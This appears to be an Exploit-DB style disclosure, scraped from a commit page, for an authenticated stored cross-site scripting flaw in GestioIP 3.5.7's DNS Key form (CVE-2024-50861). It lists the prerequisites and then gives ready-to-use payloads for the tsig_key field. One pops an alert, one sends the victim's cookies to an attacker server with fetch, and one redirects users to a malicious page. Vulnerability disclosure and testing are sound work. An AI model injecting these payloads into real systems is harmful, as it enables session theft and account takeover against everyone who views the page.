0f3d104e83
15 changes to exploits/shellcodes/ghdb ZTE ZXHN H168N 3.1 - Remote Code Execution (RCE) via authentication bypass GestioIP 3.5.7 - Cross-Site Request Forgery (CSRF) GestioIP 3.5.7 - Cross-Site Scripting (XSS) GestioIP 3.5.7 - Reflected Cross-Site Scripting (Reflected XSS) GestioIP 3.5.7 - Remote Command Execution (RCE) GestioIP 3.5.7 - Stored Cross-Site Scripting (Stored XSS) OpenPanel 0.3.4 - Directory Traversal OpenPanel 0.3.4 - Incorrect Access Control OpenPanel 0.3.4 - OS Command Injection OpenPanel Copy and View functions in the File Manager 0.3.4 - Directory Traversal Pimcore 11.4.2 - Stored cross site scripting Pimcore customer-data-framework 4.2.0 - SQL injection SilverStripe 5.3.8 - Stored Cross Site Scripting (XSS) (Authenticated) Xinet Elegant 6 Asset Lib Web UI 6.1.655 - SQL Injection
56 lines
No EOL
2 KiB
Text
56 lines
No EOL
2 KiB
Text
# Exploit Title: GestioIP 3.5.7 - GestioIP Vulnerability: Auth. Stored Cross-Site Scripting
|
|
# Exploit Author: m4xth0r (Maximiliano Belino)
|
|
# Author website: https://maxibelino.github.io/
|
|
# Author email: max.cybersecurity at belino.com
|
|
# GitHub disclosure link: https://github.com/maxibelino/CVEs/tree/main/CVE-2024-50861
|
|
# Date: 2025-01-13
|
|
# Vendor Homepage: https://www.gestioip.net/
|
|
# Software Link: https://www.gestioip.net/en/download/
|
|
# Version: GestioIP v3.5.7
|
|
# Tested on: Kali Linux
|
|
# CVE: CVE-2024-50861
|
|
|
|
### Description
|
|
|
|
The http://localhost/gestioip/res/ip_mod_dns_key_form.cgi feature of GestioIP 3.5.7 is vulnerable to Stored XSS. An authenticated attacker with appropriate permissions can inject malicious code into the tsig_key form field and save it to the database. Once saved, any user who accesses the "DNS Key" page will trigger the Stored XSS, leading to the execution of malicious code.
|
|
|
|
### Prerequisites
|
|
|
|
1. Enable "DNS Key" Feature
|
|
First, ensure that "Dynamic DNS updates" is enabled in the global configuration:
|
|
|
|
Manage > Manage GestioIP > Global Configuration > Dynamic DNS updates enabled: yes
|
|
|
|
This will enable the following menus:
|
|
|
|
Manage > DNS Keys
|
|
Manage > DNS Update User
|
|
|
|
2. Create a DNS Key Entry
|
|
|
|
To create a new DNS key entry and also edit an existing one, the user must belong to a group with the "Manage Sites And Categories" permission. By default, "Admin" and "GestioIP Admin" groups have this permission.
|
|
|
|
Also, you can configure this permission to any group under:
|
|
|
|
Manage > User Groups > Manage Sites and Categories
|
|
|
|
3. Enter payload.
|
|
|
|
Once group permission is set, input one of the following payloads into the "TSIG Key" (tsig_key) field and save it.
|
|
|
|
|
|
### Payloads
|
|
|
|
1 - Test basic XSS
|
|
|
|
<script>alert("test")</script>
|
|
|
|
|
|
2 - Send data (cookies) to the attacker's server
|
|
|
|
<svg/onload="fetch('http://10.20.0.1:8000/steal_data',{method:'POST',body:document.cookie})">
|
|
|
|
|
|
3 - Redirect the user to a malicious site
|
|
|
|
<svg/onload="window.location='http://10.20.0.1:8090/malicious_page.html'"> |